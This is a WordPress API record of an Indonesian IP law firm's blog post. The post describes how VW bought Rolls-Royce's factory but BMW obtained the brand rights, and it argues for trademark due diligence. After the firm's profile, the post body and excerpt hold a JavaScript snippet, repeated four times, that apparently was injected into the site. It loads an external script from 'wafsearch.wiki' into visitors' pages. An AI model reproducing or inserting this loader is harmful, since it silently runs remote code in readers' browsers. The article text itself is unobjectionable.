{"id":6050,"date":"2026-03-05T09:01:40","date_gmt":"2026-03-05T09:01:40","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=6050"},"modified":"2026-03-05T09:01:40","modified_gmt":"2026-03-05T09:01:40","slug":"hati-hati-membeli-perusahaannya-belum-tentu-membeli-mereknya","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2026\/03\/05\/hati-hati-membeli-perusahaannya-belum-tentu-membeli-mereknya\/","title":{"rendered":"Hati-Hati, Membeli Perusahaannya Belum Tentu Membeli Mereknya"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Di akhir 1990-an, pernah terjadi transaksi akuisisi otomotif yang sangat legendaris, dimana VW dan BMW bersaing untuk memiliki Rolls-Royce, yang statusnya saat itu memang sedang dijual oleh Vickers kepada peminat tertinggi. VW akhirnya memenangkannya dengan nilai sekitar \u00a3430 juta (\u00b1 USD 790 juta).\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dengan transaksi ini, VW resmi memiliki:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pabrik bersejarah di Inggris<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Seluruh fasilitas produksi<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Desain grille khas Rolls Royce<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Ornamen kap mobil ikonik<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Aset manufaktur dan operasional lainnya<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Secara kasat mata VW memiliki semuanya, sampai mereka menemukan fakta kalau mereka telah membeli perusahaan pembuat mobilnya, tapi tidak membeli Mereknya. Bagaimana itu bisa terjadi?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Sejak Awal Vickers Tidak Memiliki Rolls-Royce<\/b><\/p>\n<p><span style=\"font-weight: 400\">Ternyata, hak atas nama dan logo merek Rolls-Royce dimiliki oleh entitas lain yang terpisah secara hukum, yaitu Rolls Royce PLC yang bergerak di industri mesin pesawat. Artinya, ketika Vickers menjual Roll-Royce kepada VW, hak atas namanya tidak otomatis ikut berpindah.<\/span><\/p>\n<p><span style=\"font-weight: 400\">BMW melihat ini sebagai peluang besar. Dengan <\/span><i><span style=\"font-weight: 400\">track record <\/span><\/i><span style=\"font-weight: 400\">sebagai penyedia dan pengembang mesin Rolls-Royce sejak lama, mereka mendekati pemilik sah merek dan menegosiasikan hak penggunaan nama dan logo tersebut. Hasilnya? BMW sukses mendapatkan Merek tersebut hanya dengan \u00a340 juta (\u00b1 USD 66 juta).<\/span><\/p>\n<p><span style=\"font-weight: 400\">Akibatnya:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">VW memiliki pabrik dan mobil, tetapi tidak bisa menggunakan namanya.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">BMW memiliki nama dan mereknya, tetapi belum memiliki fasilitas produksi.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Situasi ini menciptakan kebuntuan bisnis, apalagi mesin mobil Rolls-Royce masih dipasok oleh BMW, dan mereka mengancam akan menghentikan pasokan. Dalam posisi terjepit, VW akhirnya melepas produksi mobil Rolls-Royce, namun tetap memiliki pabriknya. Sejak tahun 2003, Rolls-Royce resmi dimiliki oleh BMW, dan diproduksi oleh pabrik baru yang diberi nama Rolls-Royce Motor Cars.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Pentingnya Penelusuran Kepemilikian Aset<\/b><\/p>\n<p><span style=\"font-weight: 400\">Kasus ini menjadi contoh klasik kegagalan due diligence atas aset tidak berwujud, khususnya Merek. Dimana terdapat empat poin krusial yang harus diperhatikan:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perusahaan \u2260 Merek<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Membeli saham atau aset perusahaan tidak otomatis berarti Anda membeli hak atas nama dagangnya. Kepemilikan Merek harus diperiksa secara terpisah.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Struktur Korporasi Bisa Kompleks<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Sering kali sejarah penamaan dan perkembangannya digunakan oleh beberapa entitas berbeda. Tanpa audit menyeluruh terhadap struktur kepemilikan dan lisensi, risiko kesalahannya bisa sangat besar.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek Bisa Lebih Bernilai dari Aset Fisik<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Pabrik dapat dibangun kembali, namun nilai dari sebuah brand, tidak bisa diciptakan ulang dalam semalam.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Hak Kekayaan Intelektual Harus Di-Audit Secara Spesifik<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Dalam transaksi akuisisi, pemeriksaan wajib memastikan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Siapa pemilik terdaftar merek?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Apakah ada perjanjian lisensi?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Apakah hak tersebut dapat dialihkan?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Di yurisdiksi mana saja Merek tersebut terdaftar?<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Karena Merek dalam sebuah perusahaan itu ibarat pintu depan dari sebuah rumah. Jangan sampai Anda memiliki rumah, tapi tidak memiliki hak atas akses pintu depannya.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Tanpa <\/span><i><span style=\"font-weight: 400\">due diligence<\/span><\/i><span style=\"font-weight: 400\"> yang tepat atas Kekayaan Intelektual, nilai ratusan juta dolar bisa berubah menjadi kerentanan strategis. Dan dalam banyak kasus, yang menentukan kemenangan bukan siapa yang membayar paling mahal, tapi siapa yang memahami nilai hukumnya lebih dalam.<\/span><\/p>\n<p><b>Jika Anda memiliki pertanyaan terkait kepemilikan dan perlindungan Merek? Langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: trademark@staging.affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.staging.affa.co.id\"><span style=\"font-weight: 400\">www.staging.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Di akhir 1990-an, pernah terjadi transaksi akuisisi otomotif yang sangat legendaris, dimana VW dan BMW bersaing untuk memiliki Rolls-Royce, yang statusnya saat itu memang sedang dijual oleh Vickers kepada peminat tertinggi. VW akhirnya memenangkannya dengan nilai sekitar \u00a3430 juta (\u00b1 USD 790 juta).\u00a0 Dengan transaksi ini, VW resmi memiliki: Pabrik bersejarah di Inggris Seluruh fasilitas produksi Desain grille khas Rolls Royce Ornamen kap mobil ikonik Aset manufaktur dan operasional lainnya Secara kasat mata VW memiliki semuanya, sampai mereka menemukan fakta kalau mereka telah membeli perusahaan pembuat mobilnya, tapi tidak membeli Mereknya. Bagaimana itu bisa terjadi? &nbsp; Sejak Awal Vickers Tidak Memiliki Rolls-Royce Ternyata, hak atas nama dan logo merek Rolls-Royce dimiliki oleh entitas lain yang terpisah secara hukum, yaitu Rolls Royce PLC yang bergerak di industri mesin pesawat. Artinya, ketika Vickers menjual Roll-Royce kepada VW, hak atas namanya tidak otomatis ikut berpindah. BMW melihat ini sebagai peluang besar. Dengan track record sebagai penyedia dan pengembang mesin Rolls-Royce sejak lama, mereka mendekati pemilik sah merek dan menegosiasikan hak penggunaan nama dan logo tersebut. Hasilnya? BMW sukses mendapatkan Merek tersebut hanya dengan \u00a340 juta (\u00b1 USD 66 juta). Akibatnya: VW memiliki pabrik dan mobil, tetapi tidak bisa menggunakan namanya. BMW memiliki nama dan mereknya, tetapi belum memiliki fasilitas produksi. Situasi ini menciptakan kebuntuan bisnis, apalagi mesin mobil Rolls-Royce masih dipasok oleh BMW, dan mereka mengancam akan menghentikan pasokan. Dalam posisi terjepit, VW akhirnya melepas produksi mobil Rolls-Royce, namun tetap memiliki pabriknya. Sejak tahun 2003, Rolls-Royce resmi dimiliki oleh BMW, dan diproduksi oleh pabrik baru yang diberi nama Rolls-Royce Motor Cars. &nbsp; Pentingnya Penelusuran Kepemilikian Aset Kasus ini menjadi contoh klasik kegagalan due diligence atas aset tidak berwujud, khususnya Merek. Dimana terdapat empat poin krusial yang harus diperhatikan: Perusahaan \u2260 Merek Membeli saham atau aset perusahaan tidak otomatis berarti Anda membeli hak atas nama dagangnya. Kepemilikan Merek harus diperiksa secara terpisah. Struktur Korporasi Bisa Kompleks Sering kali sejarah penamaan dan perkembangannya digunakan oleh beberapa entitas berbeda. Tanpa audit menyeluruh terhadap struktur kepemilikan dan lisensi, risiko kesalahannya bisa sangat besar. Merek Bisa Lebih Bernilai dari Aset Fisik Pabrik dapat dibangun kembali, namun nilai dari sebuah brand, tidak bisa diciptakan ulang dalam semalam. Hak Kekayaan Intelektual Harus Di-Audit Secara Spesifik Dalam transaksi akuisisi, pemeriksaan wajib memastikan: Siapa pemilik terdaftar merek? Apakah ada perjanjian lisensi? Apakah hak tersebut dapat dialihkan? Di yurisdiksi mana saja Merek tersebut terdaftar? &nbsp; Karena Merek dalam sebuah perusahaan itu ibarat pintu depan dari sebuah rumah. Jangan sampai Anda memiliki rumah, tapi tidak memiliki hak atas akses pintu depannya. Tanpa due diligence yang tepat atas Kekayaan Intelektual, nilai ratusan juta dolar bisa berubah menjadi kerentanan strategis. Dan dalam banyak kasus, yang menentukan kemenangan bukan siapa yang membayar paling mahal, tapi siapa yang memahami nilai hukumnya lebih dalam. Jika Anda memiliki pertanyaan terkait kepemilikan dan perlindungan Merek? Langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : trademark@staging.affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.staging.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6051,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[318,649,648,647,646,642,620,619,618,610,609,298,317,315,314,310,309,308,307,306,305],"class_list":["post-6050","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-trademark","tag-vw","tag-rolls-royce","tag-mobil","tag-bmw","tag-otomotif","tag-indonesia-patent-registration","tag-indonesia-industrial-design-registration","tag-indonesia-copyright-registration","tag-overseas-trademark","tag-indonesia-trademark-registration","tag-merek","tag-timing-is-everything","tag-merek-indonesia-bisa","tag-your-ip-is-our-expertise","tag-ki","tag-kekayaan-intelektual","tag-ip","tag-intellectual-property","tag-affa-ipr","tag-affa"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6050"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6050\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6051"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}